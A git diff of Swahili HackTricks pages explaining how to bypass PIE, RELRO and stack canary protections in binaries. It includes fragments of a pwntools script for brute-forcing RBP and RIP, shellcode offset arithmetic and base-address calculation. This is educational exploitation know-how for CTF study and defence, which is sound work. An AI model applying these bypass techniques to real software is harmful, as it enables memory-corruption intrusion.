* **Kupewa** uvujaji (kawaida katika changamoto rahisi za CTF, [**angalia mfano huu**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
* **Kufanya nguvu ya EBP na thamani za EIP** kwenye stack hadi uvujaji wa sahihi:
* **ASLR imelemazwa**: Ikiwa ASLR imelemazwa binary iliyokompiliwa na PIE daima **itapakiwa kwenye anwani ileile**, kwa hivyo **PIE haitakuwa na maana** kwani anwani za vitu daima zitakuwa mahali pale.
* **Kupewa** kuvuja (kawaida katika changamoto rahisi za CTF, [**angalia mfano huu**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
* **Brute-force EBP na thamani za EIP** kwenye stack hadi upate zile sahihi:
{% content-ref url="bypassing-canary-and-pie.md" %}
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
{% endcontent-ref %}
* Tumia udhaifu wa kusoma wa kiholela kama [**aina ya string**](../../format-strings/) kuvuja anwani ya binary (k.m. kutoka kwa stack, kama katika mbinu iliyopita) kupata msingi wa binary na kutumia offsets kutoka hapo. [**Pata mfano hapa**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
* Tumia udhaifu wa **kusoma kwa hiari** kama [**aina ya string**](../../format-strings/) kuvuja anwani ya binary (k.m. kutoka kwa stack, kama katika mbinu iliyopita) kupata msingi wa binary na kutumia vikwazo kutoka hapo. [**Pata mfano hapa**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## Marejeo
@ -49,8 +49,8 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -7,10 +7,10 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
@ -20,19 +20,19 @@ Njia nyingine za kusaidia HackTricks:
{% hint style="info" %}
Tambua kwamba **`checksec`** inaweza isigundue kuwa binary imekingwa na canary ikiwa ilikompiliwa kistatiki na haiwezi kutambua kazi.\
Hata hivyo, unaweza kugundua hii kwa mikono ikiwa unagundua kwamba thamani imesave kwenye stack mwanzoni mwa wito wa kazi na thamani hii inachunguzwa kabla ya kutoka.
Hata hivyo, unaweza kugundua hii kwa mikono ikiwa unagundua kuwa thamani imesave kwenye stack mwanzoni mwa wito wa kazi na thamani hii inachunguzwa kabla ya kutoka.
{% endhint %}
## Anwani za Brute-Force
Ili kuzipuuza PIE unahitaji **kuvuja anwani fulani**. Na ikiwa binary haivuji anwani yoyote njema ni **kupuuza RBP na RIP zilizohifadhiwa kwenye stack** katika kazi yenye kasoro.\
Kwa mfano, ikiwa binary inalindwa kwa kutumia **canary** na **PIE**, unaweza kuanza kuvunja nguvu canary, kisha **baadaye** Byte 8 (x64) itakuwa **RBP** iliyohifadhiwa na Byte 8 inayofuata itakuwa **RIP** iliyohifadhiwa.
Ili **kuzipuuza PIE** unahitaji **kuvuja anwani fulani**. Na ikiwa binary haivuji anwani yoyote bora kufanya ni **kuzipuuza RBP na RIP zilizohifadhiwa kwenye stack** katika kazi yenye kasoro.\
Kwa mfano, ikiwa binary inalindwa kwa kutumia **canary** na **PIE**, unaweza kuanza kuzipuuza canary, kisha **baadaye** Byte 8 (x64) itakuwa **RBP** iliyohifadhiwa na **baadaye** Byte 8 itakuwa **RIP** iliyohifadhiwa.
{% hint style="success" %}
Inatarajiwa kwamba anwani ya kurudi kwenye stack inamilikiwa na msimbo wa binary kuu, ambao, ikiwa kasoro iko kwenye msimbo wa binary, kawaida itakuwa hivyo.
{% endhint %}
Kupuuza RBP na RIP kutoka kwa binary unaweza kugundua kwamba byte sahihi iliyoguessed ni sahihi ikiwa programu inatoa kitu au tu haivunjiki. **Kazi ile ile** kama iliyotolewa kwa kuvunja nguvu canary inaweza kutumika kwa kuvunja nguvu RBP na RIP:
Kuzipuuza RBP na RIP kutoka kwa binary unaweza kugundua kuwa byte sahihi iliyoguessed ni sahihi ikiwa programu inatoa kitu au tu haivunjiki. **Kazi ile ile** kama iliyotolewa kwa kuzipuuza canary inaweza kutumika kuzipuuza RBP na RIP:
```python
from pwn import *
@ -82,16 +82,16 @@ RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
Kitu cha mwisho unachohitaji kushinda PIE ni kuhesabu **anwani muhimu kutoka kwa anwani zilizovuja**: **RBP** na **RIP**.
Kutoka kwa **RBP** unaweza kuhesabu **eneo ambapo unaiandika shel yako kwenye steki**. Hii inaweza kuwa muhimu sana kujua mahali utakapoiandika herufi _"/bin/sh\x00"_ ndani ya steki. Kuhesabu umbali kati ya RBP iliyovuja na shellcode yako unaweza tu kuweka **kituo cha kusitisha baada ya kuvuja RBP** na kuangalia **eneo ambapo shellcode yako iko**, kisha, unaweza kuhesabu umbali kati ya shellcode na RBP:
Kutoka kwa **RBP** unaweza kuhesabu **mahali ambapo unaiandika shel yako kwenye steki**. Hii inaweza kuwa muhimu sana kujua mahali ambapo utaiandika herufi _"/bin/sh\x00"_ ndani ya steki. Kuhesabu umbali kati ya RBP iliyovuja na shel yako unaweza tu kuweka **kituo cha kusitisha baada ya kuvuja RBP** na kuangalia **mahali ambapo shel yako iko**, kisha, unaweza kuhesabu umbali kati ya shel yako na RBP:
```python
INI_SHELLCODE = RBP - 1152
```
Kutoka kwa **RIP** unaweza kuhesabu **anwani ya msingi ya faili ya PIE** ambayo ndio utahitaji kuunda **mtandao wa ROP halali**.\
Kuhesabu anwani ya msingi fanya `objdump -d vunbinary` na angalia anwani za hivi karibuni zilizochambuliwa:
Kuhesabu anwani ya msingi fanya tu `objdump -d vunbinary` na angalia anwani za hivi karibuni zilizochambuliwa:
![](<../../../.gitbook/assets/image (476).png>)
Katika mfano huo unaweza kuona kwamba **Byte 1 na nusu tu inahitajika** kutambua msimbo wote, basi, anwani ya msingi katika hali hii itakuwa **RIP iliyovuja lakini ikimalizika kwa "000"**. Kwa mfano ikiwa ulivuja `0x562002970ecf` anwani ya msingi itakuwa `0x562002970000`
Katika mfano huo unaweza kuona kuwa **Byte 1 na nusu tu inahitajika** kutambua msimbo wote, basi, anwani ya msingi katika hali hii itakuwa **RIP iliyovuja lakini ikimalizika kwa "000"**. Kwa mfano ikiwa ulivuja `0x562002970ecf` anwani ya msingi itakuwa `0x562002970000`
```python
elf.address = RIP - (RIP & 0xfff)
```
@ -100,17 +100,3 @@ elf.address = RIP - (RIP & 0xfff)
Kulingana na [**baadhi ya uchunguzi kutoka kwenye chapisho hili**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), inawezekana kwamba wakati data ya RBP na RIP inavuja, server haitaanguka na baadhi ya data ambazo sio sahihi na script ya BF itadhani amepata zile sahihi. Hii ni kwa sababu inawezekana kwamba **baadhi ya anwani hazitavunja hata kama sio zile sahihi kabisa**.
Kulingana na chapisho hilo la blogu, inashauriwa kuongeza kuchelewesha fupi kati ya maombi kwa server inayoingizwa.
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -16,22 +16,26 @@ Njia nyingine za kusaidia HackTricks:
## Relro
**RELRO** inasimama kwa **Relocation Read-Only**, na ni kipengele cha usalama kinachotumika katika binaries kuzuia hatari zinazohusiana na **GOT (Global Offset Table)** kuandikwa upya. Hebu tuchambue dhana hii katika aina zake mbili tofauti kwa uwazi: **Partial RELRO** na **Full RELRO**.
**RELRO** inasimama kwa **Relocation Read-Only**, na ni kipengele cha usalama kinachotumika kwenye binaries kudhibiti hatari zinazohusiana na **GOT (Global Offset Table)** overwrites. Hebu tuchambue dhana hii katika aina zake mbili tofauti kwa uwazi: **Partial RELRO** na **Full RELRO**.
### **Partial RELRO**
**Partial RELRO** inachukua njia rahisi ya kuboresha usalama bila kuathiri sana utendaji wa binary. Kwa **kuweka GOT juu ya variables za programu kumbukumbu, Partial RELRO inalenga kuzuia buffer overflows kufikia na kuharibu GOT**.&#x20;
**Partial RELRO** inachukua njia rahisi ya kuboresha usalama bila kuathiri sana utendaji wa binary. Kwa **kuweka GOT juu ya variables za programu kwenye kumbukumbu, Partial RELRO inalenga kuzuia buffer overflows kufikia na kuharibu GOT**.&#x20;
Hii **haizuii GOT** kutumiwa **kutoka kwa uwezekano wa kuandika** kwa vulnerabilities.
Hii **haizuii GOT** kutumiwe **kutoka kwa vulnerabilities za kuandika kiholela**.
### **Full RELRO**
**Full RELRO** inaimarisha ulinzi kwa **kufanya GOT na sehemu ya .fini\_array** kuwa kamili **ya kusoma tu.** Mara tu binary inapoanza, anwani zote za kazi zinafumbuliwa na kupakiwa kwenye GOT, kisha, GOT inaashiria kama kusoma tu, ikizuia kwa ufanisi mabadiliko yoyote wakati wa muda wa uendeshaji.
**Full RELRO** inaimarisha ulinzi kwa **kufanya GOT na sehemu ya .fini\_array** kuwa **soma-tu kabisa.** Mara tu binary inapoanza, anwani zote za kazi zinafumbuliwa na kupakiwa kwenye GOT, kisha, GOT inaashiria kama soma-tu, ikizuia uhariri wowote wakati wa muda wa uendeshaji.
Hata hivyo, ubadilishaji na Full RELRO ni kwa upande wa utendaji na wakati wa kuanza. Kwa sababu inahitaji kutatua alama zote za kid
Hata hivyo, ubadilishaji na Full RELRO ni kwa upande wa utendaji na wakati wa kuanza. Kwa sababu inahitaji kutatua alama zote za kudumu wakati wa kuanza kabla ya kuashiria GOT kama soma-tu, **binaries zenye Full RELRO zilizowezeshwa zinaweza kupata nyakati ndefu za kupakia**. Gharama ya ziada ya kuanza hii ndio sababu Full RELRO haielekezwi kwa chaguo-msingi kwenye binaries zote.
Inawezekana kuona ikiwa Full RELRO ime **wezeshwa** kwenye binary na:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
## Kupita
Ikiwa Full RELRO imewezeshwa, njia pekee ya kuipita ni kupata njia nyingine ambayo haitaji kuandika kwenye jedwali la GOT ili kupata utekelezaji wa hila.
Ikiwa Full RELRO imewezeshwa, njia pekee ya kuipita ni kupata njia nyingine ambayo haitaji kuandika kwenye jedwali la GOT ili kupata utekelezaji wa aina yoyote.
Tafadhali kumbuka kwamba **GOT ya LIBC kawaida ni Partial RELRO**, hivyo inaweza kuhaririwa kwa kuandika kwa hiari. Taarifa zaidi katika [Kulenga viingilio vya libc GOT](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**

View file

@ -6,45 +6,46 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## **StackGuard na StackShield**
**StackGuard** inaweka thamani maalum inayoitwa **canary** kabla ya **EIP (Mwongozo wa Maagizo Uliopanuliwa)**, kwa usahihi `0x000aff0d` (inayowakilisha null, newline, EOF, carriage return) kulinda dhidi ya kujaza zaidi kwa buffer. Walakini, kazi kama vile `recv()`, `memcpy()`, `read()`, na `bcopy()` bado ziko hatarini, na haitoi ulinzi kwa **EBP (Mwongozo wa Msingi)**.
**StackGuard** inaweka thamani maalum inayoitwa **canary** kabla ya **EIP (Mpokeaji wa Maagizo ya Kuongezwa)**, kwa usahihi `0x000aff0d` (inayowakilisha nukta, mstari mpya, EOF, kurudi nyumbani) kulinda dhidi ya kujaza zaidi ya uwezo wa kibafu. Walakini, kazi kama vile `recv()`, `memcpy()`, `read()`, na `bcopy()` bado ziko hatarini, na haitoi ulinzi kwa **EBP (Mpokeaji wa Msingi)**.
**StackShield** inachukua njia yenye utata zaidi kuliko StackGuard kwa kudumisha **Global Return Stack**, ambayo hifadhi anwani zote za kurudi (**EIPs**). Hii inahakikisha kwamba kujaza zaidi hakusababishi madhara, kwani inaruhusu kulinganisha kati ya anwani za kurudi zilizohifadhiwa na zile halisi za kurudi kugundua matukio ya kujaza zaidi. Kwa kuongezea, StackShield inaweza kuchunguza anwani ya kurudi dhidi ya thamani ya mpaka kugundua ikiwa **EIP** inaelekeza nje ya nafasi ya data inayotarajiwa. Walakini, ulinzi huu unaweza kuzungukwa kupitia mbinu kama Return-to-libc, ROP (Return-Oriented Programming), au ret2ret, ikionyesha kuwa StackShield pia haikilindi variables za ndani.
**StackShield** inachukua njia yenye utata zaidi kuliko StackGuard kwa kudumisha **Global Return Stack**, ambayo hifadhi anwani zote za kurudi (**EIPs**). Hii inahakikisha kuwa kujaza zaidi haisababishi madhara, kwani inaruhusu kulinganisha kati ya anwani za kurudi zilizohifadhiwa na zile halisi za kurudi kugundua matukio ya kujaza zaidi. Kwa kuongezea, StackShield inaweza kuchunguza anwani ya kurudi dhidi ya thamani ya mpaka kugundua ikiwa **EIP** inaelekeza nje ya nafasi ya data inayotarajiwa. Walakini, ulinzi huu unaweza kuzungukwa kupitia mbinu kama Return-to-libc, ROP (Return-Oriented Programming), au ret2ret, ikionyesha kuwa StackShield pia haikilindi mchanganyiko wa ndani.
## **Mlinzi wa Stack Smash (ProPolice) `-fstack-protector`:**
## **Mlinzi wa Kupasuka wa Stack (ProPolice) `-fstack-protector`:**
Mbinu hii inaweka **canary** kabla ya **EBP**, na kurekebisha upya variables za ndani ili kuweka buffers kwenye anwani za kumbukumbu za juu, kuzuia kuzipitisha zingine. Pia inakopi salama hoja zilizopitishwa kwenye stack juu ya variables za ndani na kutumia nakala hizi kama hoja. Walakini, haitoi ulinzi kwa arrays zenye vipengele chini ya 8 au buffers ndani ya muundo wa mtumiaji.
Mbinu hii inaweka **canary** kabla ya **EBP**, na kurekebisha upya mibofu ya ndani ili kuweka mabafu kwenye anwani za kumbukumbu za juu, kuzuia kuzidiwa kwa mibofu mingine. Pia inakopi salama hoja zilizopitishwa kwenye mstari juu ya mibofu ya ndani na kutumia nakala hizi kama hoja. Walakini, haitoi ulinzi kwa mizunguko yenye vipengele chini ya vipengele 8 au mibofu ndani ya muundo wa mtumiaji.
**Canary** ni nambari ya nasibu inayotokana na `/dev/urandom` au thamani ya msingi ya `0xff0a0000`. Imehifadhiwa katika **TLS (Uhifadhi wa Mada za Wateja)**, ikiruhusu nafasi za kumbukumbu zilizoshirikiwa kati ya nyuzi kuwa na variables vya ulimwengu au za kudumu za nyuzi. Variables hizi kwanza hukopiwa kutoka kwa mchakato mzazi, na michakato ya watoto inaweza kubadilisha data yao bila kuathiri mzazi au ndugu. Walakini, ikiwa **`fork()` inatumika bila kuunda canary mpya, michakato yote (mzazi na watoto) wanashiriki canary sawa**, ikifanya iwe hatarini. Kwenye usanifu wa **i386**, canary imehifadhiwa kwa `gs:0x14`, na kwenye **x86\_64**, kwa `fs:0x28`.
**Canary** ni nambari ya nasibu inayotokana na `/dev/urandom` au thamani ya msingi ya `0xff0a0000`. Imehifadhiwa katika **TLS (Uhifadhi wa Mada za Wateja)**, ikiruhusu nafasi za kumbukumbu zilizoshirikiwa kati ya mchakato kuwa na mali za ulimwengu au za kudumu za mada. Mali hizi kwa kawaida hukopiwa kutoka kwa mchakato mzazi, na michakato ya watoto inaweza kubadilisha data yao bila kuathiri mzazi au ndugu. Walakini, ikiwa **`fork()` inatumika bila kuunda canary mpya, michakato yote (mzazi na watoto) wanashiriki canary sawa**, ikifanya iwe hatarini. Kwenye usanifu wa **i386**, canary imehifadhiwa kwa `gs:0x14`, na kwenye **x86\_64**, kwa `fs:0x28`.
Ulinzi huu wa ndani unatambua kazi zenye buffers zinazoweza kushambuliwa na kuingiza nambari mwanzoni mwa kazi hizi kuweka canary, na mwishoni kuhakiki usahihi wake.
Ulinzi huu wa ndani unatambua kazi zenye mibofu inayoweza kushambuliwa na kuingiza nambari mwanzoni mwa kazi hizi kuweka canary, na mwishoni kudhibitisha usahihi wake.
Wakati seva ya wavuti inatumia `fork()`, inawezesha shambulio la kujaribu kuhadithi canary kwa kila baiti. Walakini, kutumia `execve()` baada ya `fork()` kunafuta nafasi ya kumbukumbu, kufuta shambulio. `vfork()` inaruhusu mchakato wa mtoto kutekelezwa bila kuiga hadi jaribio la kuandika, wakati huo nakala inaundwa, kutoa njia tofauti ya uundaji wa mchakato na utunzaji wa kumbukumbu.
Wakati seva ya wavuti inatumia `fork()`, inawezesha shambulio la kufikiria kuhusu canary kwa kila baiti. Walakini, kutumia `execve()` baada ya `fork()` kunaharibu nafasi ya kumbukumbu, kufuta shambulio. `vfork()` inaruhusu mchakato wa mtoto kutekelezwa bila kuiga hadi jaribio la kuandika, wakati huo nakala inaundwa, kutoa njia tofauti ya uundaji wa mchakato na utunzaji wa kumbukumbu.
### Urefu
Katika binaries za `x64`, cookie ya canary ni **qword ya byte `0x8`**. **Baiti saba za kwanza ni za nasibu** na baiti ya mwisho ni **baiti ya null.**
Katika programu za `x64`, kuki ya canary ni **baiti ya qword ya `0x8`**. **Baiti saba za kwanza ni za nasibu** na baiti ya mwisho ni **baiti ya null.**
Katika binaries za `x86`, cookie ya canary ni **dword ya byte `0x4`**. **Baiti tatu za kwanza ni za nasibu** na baiti ya mwisho ni **baiti ya null.**
Katika programu za `x86`, kuki ya canary ni **baiti ya dword ya `0x4`**. **Baiti tatu za kwanza ni za nasibu** na baiti ya mwisho ni **baiti ya null.**
{% hint style="danger" %}
Baiti ya chini zaidi ya canaries zote ni baiti ya null kwa sababu itakuwa ya kwanza kwenye stack ikitoka kwenye anwani za chini na kwa hivyo **kazi zinazosoma strings zitasimama kabla ya kuisoma**.
{% hint style="hatari" %}
Baiti ya chini zaidi ya canaries zote ni baiti ya null kwa sababu itakuwa ya kwanza kwenye stakishi ikitoka kwenye anwani za chini na kwa hivyo **kazi zinazosoma herufi zitasimama kabla ya kuisoma**.
{% endhint %}
## Kuzidi
## Kupitisha
**Kuvuja kwa canary** na kisha kuibadilisha (k.m. kujaza zaidi ya buffer) na thamani yake mwenyewe.
**Kuvuja kwa canary** na kisha kuibadilisha (k.m. kujaza zaidi ya uwezo) na thamani yake yenyewe.
* Ikiwa **canary inaundwa katika michakato ya watoto** inaweza kuwa inawezekana ku **kujaribu kuihakiki** baiti moja kwa wakati:
* Ikiwa **canary inaundwa katika michakato ya watoto** inaweza kuwa inawezekana ku**kufikiria** baiti moja kwa wakati:
{% content-ref url="bf-forked-stack-canaries.md" %}
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
@ -56,28 +57,29 @@ Baiti ya chini zaidi ya canaries zote ni baiti ya null kwa sababu itakuwa ya kwa
[print-stack-canary.md](print-stack-canary.md)
{% endcontent-ref %}
* **Kuibadilisha pointers zilizohifadhiwa kwenye stack**
* **Kuibadilisha pointi zilizohifadhiwa kwenye stakishi**
Stack inayoweza kushambuliwa na kujaza zaidi ya stack inaweza **kuwa na anwani za strings au kazi ambazo zinaweza kubadilishwa** ili kutumia udhaifu bila kuhitaji kufikia canary ya stack. Angalia:
Stakishi inayoweza kushambuliwa na kujaza zaidi ya stakishi inaweza **kuwa na anwani za herufi au kazi ambazo zinaweza kubadilishwa** ili kutumia udhaifu bila kuhitaji kufikia canary ya stakishi. Angalia:
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
{% endcontent-ref %}
* **Kurekebisha canary ya bwana na mnyororo**
Kujaza zaidi katika kazi iliyolindwa na canary inaweza kutumika **kurekebisha canary ya bwana wa mnyororo**. Kama matokeo, kinga inakuwa bure kwa sababu ukaguzi unatumia canaries mbili ambazo ni sawa (ingawa zimebadilishwa).
Shambulio hili linafanywa katika andiko: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
* **Badilisha kuingia cha GOT cha `__stack_chk_fail`**
Ikiwa binary ina Partial RELRO, basi unaweza kutumia andishi la hiari kurekebisha **kuingia cha GOT cha `__stack_chk_fail`** kuwa kazi bandia ambayo haizuizi programu ikiwa canary inabadilishwa.
Shambulio hili linafanywa katika andiko: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
## Marejeo
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) **na** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repos za github.**

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha** [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
@ -23,11 +23,11 @@ Tambua kwamba **`checksec`** inaweza isigundue kuwa binary imekingwa na canary i
Hata hivyo, unaweza kugundua hii kwa mikono ikiwa unagundua kwamba thamani imesave kwenye stack mwanzoni mwa wito wa kazi na thamani hii inachunguzwa kabla ya kutoka.
{% endhint %}
## Kupuuza Canary kwa Nguvu ya Kuburuta
## Kupuuza Canary kwa Nguvu ya Kubadilisha
Njia bora ya kuzipuuza canary rahisi ni ikiwa binary ni programu **inayoforka michakato ya watoto kila wakati unapounda uhusiano mpya** nayo (huduma ya mtandao), kwa sababu kila wakati unapounganisha nayo **canary ile ile itatumika**.
Njia bora ya kuzipuuza canary rahisi ni ikiwa binary ni programu **inayoforka michakato ya watoto kila wakati unapounda uhusiano mpya** nayo (huduma ya mtandao), kwa sababu kila wakati unapounganisha **canary ile ile itatumika**.
